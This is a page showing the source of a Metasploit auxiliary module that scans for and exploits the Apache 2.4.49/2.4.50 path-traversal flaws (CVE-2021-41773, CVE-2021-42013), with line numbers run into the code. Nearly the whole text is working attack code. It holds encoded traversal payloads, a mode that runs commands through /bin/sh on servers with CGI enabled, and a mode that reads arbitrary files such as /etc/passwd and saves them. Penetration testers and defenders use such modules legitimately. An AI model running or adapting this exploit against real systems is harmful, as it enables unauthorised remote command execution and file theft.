Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/apache_normalize_path.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Auxiliary::Scanner8include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Apache 2.4.49/2.4.50 Traversal RCE scanner',15'Description' => %q{16This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773).17If files outside of the document root are not protected by ‘require all denied’ and CGI has been explicitly enabled,18it can be used to execute arbitrary commands (Remote Command Execution).19This vulnerability has been reintroduced in Apache 2.4.50 fix (CVE-2021-42013).20},21'References' => [22['CVE', '2021-41773'],23['CVE', '2021-42013'],24['URL', 'https://httpd.apache.org/security/vulnerabilities_24.html'],25['URL', 'https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse'],26['URL', 'https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml'],27['URL', 'https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74'],28['URL', 'https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis']29],30'Author' => [31'Ash Daulton', # Vulnerability discovery32'Dhiraj Mishra', # Metasploit auxiliary module33'mekhalleh (RAMELLA Sébastien)' # Metasploit exploit module (Zeop Entreprise)34],35'DisclosureDate' => '2021-05-10',36'License' => MSF_LICENSE,37'DefaultOptions' => {38'RPORT' => 443,39'SSL' => true40},41'Notes' => {42'Stability' => [CRASH_SAFE],43'Reliability' => [REPEATABLE_SESSION],44'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]45},46'Actions' => [47[48'CHECK_TRAVERSAL',49{50'Description' => 'Check for vulnerability.'51}52],53[54'CHECK_RCE',55{56'Description' => 'Check for RCE (if mod_cgi is enabled).'57}58],59[60'READ_FILE',61{62'Description' => 'Read file on the remote server.'63}64]65],66'DefaultAction' => 'CHECK_TRAVERSAL'67)68)6970register_options([71OptEnum.new('CVE', [true, 'The vulnerability to use', 'CVE-2021-42013', ['CVE-2021-41773', 'CVE-2021-42013']]),72OptInt.new('DEPTH', [true, 'Depth for Path Traversal', 5]),73OptString.new('FILEPATH', [false, 'File you want to read', '/etc/passwd']),74OptString.new('TARGETURI', [true, 'Base path', '/cgi-bin'])75])76end7778def exec_traversal(cmd)79send_request_raw({80'method' => Rex::Text.rand_text_alpha(3..4),81'uri' => normalize_uri(datastore['TARGETURI'], @traversal.to_s),82'data' => "#{Rex::Text.rand_text_alpha(1..3)}=|echo;#{cmd}"83})84end8586def message(msg)87"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}"88end8990def pick_payload91case datastore['CVE']92when 'CVE-2021-41773'93payload = '.%2e/'94when 'CVE-2021-42013'95payload = '.%%32%65/'96else97payload = ''98end99100payload101end102103def read_traversal104send_request_raw({105'method' => 'GET',106'uri' => normalize_uri(@target_uri, @traversal.to_s)107})108end109110def run_host(ip)111@proto = (ssl ? 'https' : 'http')112113case action.name114when 'CHECK_TRAVERSAL'115@target_uri = datastore['TARGETURI']116@traversal = pick_payload * datastore['DEPTH'] << '/etc/passwd'117118response = read_traversal119unless response120print_error(message('No response, target seems down.'))121122return Exploit::CheckCode::Unknown123end124125if response.code == 200 && response.body.include?('root:x:0:0:')126print_good(message("The target is vulnerable to #{datastore['CVE']}."))127128vprint_status("Obtained HTTP response code #{response.code}.")129report_vuln(130host: target_host,131name: name,132refs: references133)134135return Exploit::CheckCode::Vulnerable136end137print_error(message("The target is not vulnerable to #{datastore['CVE']}."))138139return Exploit::CheckCode::Safe140when 'CHECK_RCE'141@traversal = pick_payload * datastore['DEPTH'] << '/bin/sh'142rand_str = Rex::Text.rand_text_alpha(4..8)143144response = exec_traversal("echo #{rand_str}")145unless response146print_error(message('No response, target seems down.'))147148return Exploit::CheckCode::Unknown149end150151if response.code == 200 && response.body.include?(rand_str)152print_good(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))153report_vuln(154host: target_host,155name: name,156refs: references157)158159return Exploit::CheckCode::Vulnerable160end161print_error(message("The target is not vulnerable to #{datastore['CVE']} (requires mod_cgi to be enabled)."))162163return Exploit::CheckCode::Safe164when 'READ_FILE'165fail_with(Failure::BadConfig, 'File path option is empty!') if !datastore['FILEPATH'] || datastore['FILEPATH'].empty?166167@target_uri = datastore['TARGETURI']168@traversal = pick_payload * datastore['DEPTH'] << datastore['FILEPATH']169170response = read_traversal171unless response172print_error(message('No response, target seems down.'))173174return Exploit::CheckCode::Unknown175end176177vprint_status("Obtained HTTP response code #{response.code}.")178if response.code == 500179print_warning(message("The target is vulnerable to #{datastore['CVE']} (mod_cgi is enabled)."))180report_vuln(181host: target_host,182name: name,183refs: references184)185end186187if response.code == 500 || response.body.empty?188print_error('Nothing was downloaded')189190return Exploit::CheckCode::Vulnerable if response.code == 500191end192193if response.code == 200194vprint_good("#{peer} \n#{response.body}")195path = store_loot(196'apache.traversal',197'application/octet-stream',198ip,199response.body,200datastore['FILEPATH']201)202print_good("File saved in: #{path}")203204report_vuln(205host: target_host,206name: name,207refs: references208)209210return Exploit::CheckCode::Vulnerable211end212213return Exploit::CheckCode::Safe214end215end216end217218219